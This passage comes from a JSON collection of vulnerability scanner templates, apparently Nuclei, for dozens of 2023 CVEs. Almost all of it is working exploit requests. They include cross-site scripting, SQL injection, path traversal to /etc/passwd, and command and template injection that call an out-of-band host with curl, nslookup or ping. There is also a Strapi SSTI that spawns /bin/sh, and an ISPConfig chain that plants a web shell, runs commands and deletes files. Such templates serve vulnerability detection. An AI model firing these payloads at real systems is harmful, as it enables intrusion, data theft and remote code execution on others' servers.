Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22>"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains_all(body, \"New Question\", \">\")"],"condition":"and"}]}]},{"id":"CVE-2023-40755","info":{"name":"PHPJabbers Callback Widget v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"word","part":"body","words":["PHPJabbers"],"case-insensitive":true,"internal":true}]},{"method":"GET","path":["{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["theme=theme10dnel8\">ko0"]},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3368","info":{"name":"Chamilo LMS <= v1.11.20 Unauthenticated Command Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/main/webservices/additional_webservices.php"],"headers":{"Content-Type":"application/xml"},"body":"\n\n \n \n \n \n file_data\n \n \n \n file_name\n $(curl http://{{interactsh-url}}/)\n \n \n service_ppt2lp_size\n 720x540\n \n \n \n \n\n","matchers-condition":"and","matchers":[{"type":"status","status":[200]},{"type":"word","words":["wsConvertPptResponse"],"part":"body"},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2023-37645","info":{"name":"EyouCms v1.6.3 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/data/model/custom_model_path/recruit.filelist.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["application/admin/","template/pc/"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26067","info":{"name":"Lexmark Printers - Command Injection","severity":"high"},"requests":[{"raw":["POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Length: 49\n\nFT_Custom_lbtrace=$({{cmd}})\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'dns')","contains(body, 'Fax Trace Settings')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-44352","info":{"name":"Adobe Coldfusion - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/{{string}}\">/..CFIDE/wizards/common/_authenticatewizarduser.cfm","{{BaseURL}}//{{string}}\">/..CFIDE/wizards/common/_authenticatewizarduser.cfm","{{BaseURL}}/{{string}}\">/..CFIDE/administrator/index.cfm","{{BaseURL}}//{{string}}\">/..CFIDE/administrator/index.cfm","{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm","{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm","{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm","{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["action=\"/{{string}}\">","\"{{string}}\">"],"condition":"or"},{"type":"dsl","dsl":["contains(body, 'ColdFusion')","contains(header, 'text/html')"],"condition":"and"}]}]},{"id":"CVE-2023-35813","info":{"name":"Sitecore - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{{url_encode(payload)}}\")\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type, '{{string}}')","contains_all(body, 'commands', 'command', 'value')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-0900","info":{"name":"AP Pricing Tables Lite <= 1.1.6 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=ap-pricing-tables-lite&message=1 HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded\n\naction=backend_ajax&_action=copy_table&table_id=1+AND+(SELECT+2035+FROM+(SELECT(SLEEP(10)))A)&_wpnonce={{nonce}}\n"],"matchers":[{"type":"dsl","dsl":["duration_3>=5","status_code_3 == 200","contains(body_3, \"Security check\")","contains(body_2, \"ap-pricing-tables-lite\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body","group":1,"regex":["_wpnonce=([0-9a-z]+)\">Log Out"],"internal":true}]}]},{"id":"CVE-2023-33568","info":{"name":"Dolibarr Unauthenticated Contacts Database Theft","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/ticket/ajax/ajax.php?action=getContacts&email=%"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"database_name\":","\"database_user\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-6786","info":{"name":"Payment Gateway for Telcell < 2.0.4 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2023-2252","info":{"name":"Directorist < 7.5.4 - Local File Inclusion","severity":"low"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-28343","info":{"name":"Altenergy Power Control Software C1.2.5 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /index.php/management/set_timezone HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nAccept-Encoding: gzip, deflate\nReferer: {{RootURL}}/index.php/management/datetime\n\ntimezone=`nslookup {{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Time Zone updated successfully"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1880","info":{"name":"Phpmyfaq v3.1.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"phpmyfaq\") && contains(body, \"\")","contains(content_type, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2023-24489","info":{"name":"Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\\..\\..\\..\\cifs&filename={{fileName}}.aspx HTTP/1.1\nHost: {{Hostname}}\n\n<%@ Page Language=\"C#\" Debug=\"true\" Trace=\"false\" %>\n\n"],"payloads":{"padding":"helpers/payloads/citrix_paddings.txt"},"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["body == \"ERROR: The method or operation is not implemented.\"","status_code == 200"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["BaseURL+ \"/cifs/\" + fileName + \".aspx\""]}]}]},{"id":"CVE-2023-4450","info":{"name":"JeecgBoot JimuReport - Template injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"sql\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"curl http://{{interactsh-url}}\\\")} \",\n \"type\": \"0\"\n}\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"http\") || contains(interactsh_protocol, \"dns\")","status_code == 200","contains(content_type,\"application/json\")","contains(body,\"success\")"],"condition":"and"}]}]},{"id":"CVE-2023-35843","info":{"name":"NocoDB version <= 0.106.1 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25346","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-6020","info":{"name":"Ray Static File - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"header","words":["application/octet-stream","aiohttp"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3843","info":{"name":"mooDating 1.2 - Cross-site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number="],"matchers":[{"type":"dsl","dsl":["status_code == 404","contains(content_type, \"text/html\")","contains(body, \">w71ch\") && contains(body, \"mooDating\")"],"condition":"and"}]}]},{"id":"CVE-2023-0669","info":{"name":"Fortra GoAnywhere MFT - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /goanywhere/lic/accept HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n\nbundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo=\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\")))), '$2')}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["GoAnywhere"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-33831","info":{"name":"FUXA - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /api/runscript HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"headers\": {\"normalizedNames\": {}, \"lazyUpdate\": \"null\"}, \"params\": {\"script\": {\"parameters\": [{\"name\": \"ok\", \"type\": \"tagid\", \"value\": \"\"}], \"mode\": \"\", \"id\": \"\", \"test\": \"true\", \"name\": \"ok\", \"outputId\": \"\", \"code\": \"require('child_process').exec('id > ./_images/{{filename}}')\"}}}\n","GET /_images/{{filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["Script OK:"]},{"type":"word","part":"body_2","words":["uid","gid","groups"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-6505","info":{"name":"Prime Mover < 1.9.3 - Sensitive Data Exposure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/prime-mover-export-files/1/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Index of /wp-content/uploads/prime-mover-export-files/1",".wprime"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-39598","info":{"name":"IceWarp Email Client - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}\">"],"matchers-condition":"and","matchers":[{"type":"word","words":["","icewarp"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1080","info":{"name":"WordPress GN Publisher <1.5.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/ onmouseover=alert(document.domain);//\")","contains(body_2, \"GN Publisher\")"],"condition":"and"}]}]},{"id":"CVE-2023-30868","info":{"name":"Tree Page View Plugin < 1.6.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type_2, \"text/html\")","contains(body_2, \"%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\") && contains(body_2, \"CMS Tree Page View\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2023-43187","info":{"name":"NodeBB XML-RPC Request xmlrpc.php - XML Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"dsl","internal":true,"dsl":["contains(to_lower(body), \"nodebb\")"]}]},{"method":"POST","path":["{{BaseURL}}/xmlrpc.php"],"headers":{"Content-Type":"text/xml"},"body":"\n\n system.listMethods\n \n \n \n \n \n\n","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["phpinfo()","PHP Version"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-46818","info":{"name":"ISPConfig - PHP Code Injection","severity":"high"},"requests":[{"raw":["POST /login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&s_mod=login\n"],"matchers":[{"type":"dsl","dsl":["contains(header, \"Set-Cookie\")","status_code == 302"],"condition":"and"}]},{"raw":["POST /admin/language_edit.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nlang=en&module=help&lang_file={{lang-file}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(response, \"_csrf_id\", \"_csrf_key\")","status_code == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"lang_file_location","group":1,"regex":["Language file: (.*)"],"internal":true},{"type":"regex","name":"csrf_id","group":1,"regex":["_csrf_id\" value=\"(.*)\" />"],"internal":true},{"type":"regex","name":"csrf_key","group":1,"regex":["_csrf_key\" value=\"(.*)\" />"],"internal":true}]},{"raw":["POST /admin/language_edit.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200"]}]},{"raw":["GET /admin/{{websh-file}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nC: {{base64('\u00a7echo-cmd\u00a7')}}\n"],"matchers-condition":"and","matchers":[{"type":"status","status":[200]},{"type":"word","words":["{{echo-cmd-hash}}"]}]},{"raw":["GET /admin/{{websh-file}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nC: {{base64('rm \u00a7lang_file_location\u00a7')}}\n"],"matchers":[{"type":"status","status":[200]}]},{"raw":["GET /admin/{{websh-file}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nC: {{base64('rm \u00a7websh-file\u00a7')}}\n"],"matchers":[{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3479","info":{"name":"Hestiacp <= 1.7.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["debug-panel",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-41621","info":{"name":"Emlog Pro v2.1.14 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /admin/store.php?\"onmouseover='alert(document.domain)'bad=\" HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["onmouseover='alert(document.domain)'bad=","emlog"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-45852","info":{"name":"Viessmann Vitogate 300 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/vitogate.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"method\":\"put\",\"form\":\"form-4-8\",\"session\":\"\",\"params\":{\"ipaddr\":\"{{randstr}};cat /etc/passwd\"}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(header, \"application/json\")","contains_all(body, \"traceroute: {{randstr}}: Unknown host\", \"daemon:x:1:1:\")"],"condition":"and"}]}]},{"id":"CVE-2023-5003","info":{"name":"Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/ldap-authentication-report.csv"],"matchers-condition":"and","matchers":[{"type":"word","words":["ID","USERNAME","TIME","LDAP STATUS"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-22621","info":{"name":"Strapi Versions <=4.5.5 - SSTI to Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"email\":\"{{email}}\",\"password\":\"{{password}}\"}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(body, \"token\",\"isActive\")","contains(content_type, \"application/json\")"],"condition":"and","internal":true}],"extractors":[{"type":"json","part":"body","name":"token","json":[".data.token"],"internal":true}]},{"raw":["PUT /users-permissions/advanced HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Bearer {{token}}\nContent-Type: application/json\n\n{\"unique_email\":true,\"allow_register\":true,\"email_confirmation\":true,\"email_reset_password\":null,\"email_confirmation_redirection\":\"{{RootURL}}\",\"default_role\":\"authenticated\"}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(body, \"ok\",\"true\")","contains(content_type, \"application/json\")"],"condition":"and","internal":true}]},{"raw":["PUT /users-permissions/email-templates HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Bearer {{token}}\nContent-Type: application/json\n\n{\n \"email-templates\": {\n \"reset_password\": {\n \"display\": \"Email.template.reset_password\",\n \"icon\": \"sync\",\n \"options\": {\n \"from\": {\n \"name\": \"Administration Panel\",\n \"email\": \"no-reply@strapi.io\"\n },\n \"response_email\": \"\",\n \"object\": \"Reset password\",\n \"message\": \"

    We heard that you lost your password. Sorry about that!

    \\n\\n

    But dont worry! You can use the following link to reset your password:

    \\n

    <%= URL %>?code=<%= TOKEN %>

    \\n\\n

    Thanks.

    \"\n }\n },\n \"email_confirmation\": {\n \"display\": \"Email.template.email_confirmation\",\n \"icon\": \"check-square\",\n \"options\": {\n \"from\": {\n \"name\": \"Administration Panel\",\n \"email\": \"no-reply@strapi.io\"\n },\n \"response_email\": \"\",\n \"object\": \"Account confirmation\",\n \"message\": \"<%= `${ process.binding('spawn_sync').spawn({\\\"file\\\":\\\"/bin/sh\\\",\\\"args\\\":[\\\"/bin/sh\\\",\\\"-c\\\",\\\"curl {{interactsh-url}}\\\"],\\\"stdio\\\":[{\\\"readable\\\":1,\\\"writable\\\":1,\\\"type\\\":\\\"pipe\\\"},{\\\"readable\\\":1,\\\"writable\\\":1,\\\"type\\\":\\\"pipe\\\"/*<>%=*/}]}).output }` %>\\n\\n

    <%= URL %>?confirmation=<%= CODE %>

    \\n\\n

    Thanks.

    \"\n }\n }\n }\n}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(body, \"ok\",\"true\")","contains(content_type, \"application/json\")"],"condition":"and","internal":true}]},{"raw":["POST /api/auth/local/register HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"email\": \"{{address}}\",\n \"username\": \"{{randstr_1}}\",\n \"password\": \"{{randstr_2}}\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["ApplicationError"]},{"type":"word","part":"content_type","words":["application/json"]}]}]},{"id":"CVE-2023-32117","info":{"name":"Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-json/igd/v1/get-users-data"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"name\":","\"email\":","\"role\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27034","info":{"name":"Jms Blog - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(tolower(body), \"jmsblog\")"],"condition":"and","internal":true}]},{"raw":["@timeout: 20s\nPOST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw\nX-Requested-With: XMLHttpRequest\n\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"comment\"\n\n555\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"customer_name\"\n\n\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"email\"\n\n0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"post_id\"\n\n1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"post_id_comment_reply\"\n\n1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"submitComment\"\n\nsubmitComment=\n------------YWJkMTQzNDcw--\n"],"host-redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["duration>=6"]}]}]},{"id":"CVE-2023-3460","info":{"name":"Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /index.php/register/?{{version}} HTTP/1.1\nHost: {{Hostname}}\n","GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n","POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser_login-{{formid}}={{username}}&user_email-{{formid}}={{email}}&user_password-{{formid}}={{password}}&confirm_user_password-{{formid}}={{password}}&first_name-{{formid}}={{firstname}}&last_name-{{formid}}={{lastname}}&form_id={{formid}}&um_request=&_wpnonce={{wpnonce}}&wp_c%C3%A0pabilities%5Badministrator%5D=1\n"],"matchers":[{"type":"dsl","dsl":["contains(to_lower(body_1), \"ultimate member\")","regex(\"wordpress_logged_in_[a-z0-9]{32}\", header_4)","status_code_4 == 302"],"condition":"and"}],"extractors":[{"type":"regex","name":"path","part":"location_2","group":1,"regex":["([a-z:/.]+)"],"internal":true},{"type":"regex","name":"version","part":"body_1","group":1,"regex":["(?i)Stable.tag:\\s?([\\w.]+)"],"internal":true},{"type":"regex","name":"formid","part":"body_3","group":1,"regex":["name=\"form_id\" id=\"form_id_([0-9]+)\""],"internal":true},{"type":"regex","name":"wpnonce","part":"body_3","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\""],"internal":true},{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-26035","info":{"name":"ZoneMinder Snapshots - Command Injection","severity":"critical"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["csrfMagicToken = \\\"(key:[a-f0-9]{40},\\d+)"],"internal":true}]},{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nview=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")"]}]}]},{"id":"CVE-2023-48084","info":{"name":"Nagios XI < 5.11.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=\n","@timeout: 15s\nGET /nagiosxi/index.php/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+) HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration_3>=5","contains(body_3, \"Home Dashboard\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nsp","part":"body","group":1,"regex":["name=\"nsp\" value=\"(.*)\">"],"internal":true}]}]},{"id":"CVE-2023-3847","info":{"name":"MooDating 1.2 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity"],"matchers":[{"type":"dsl","dsl":["status_code == 404","contains(content_type, \"text/html\")","contains_all(body, \">\",\"mooDating\")"],"condition":"and"}]}]},{"id":"CVE-2023-0099","info":{"name":"Simple URLs < 115 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body, \"\")","contains(body_2, \"search_term\")"],"condition":"and"}]}]},{"id":"CVE-2023-0297","info":{"name":"PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)","severity":"critical"},"requests":[{"raw":["GET /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\n","POST /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\njk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["JDownloader"]},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2023-34993","info":{"name":"Fortinet FortiWLM Unauthenticated Command Injection Vulnerability","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ems/cgi-bin/ezrf_upgrade_images.cgi?op_type=deleteprogressfile&progressfile={{url_encode(progressfile)}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2023-0126","info":{"name":"SonicWall SMA1000 LFI","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["content/unknown"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34259","info":{"name":"Kyocera TASKalfa printer - Path 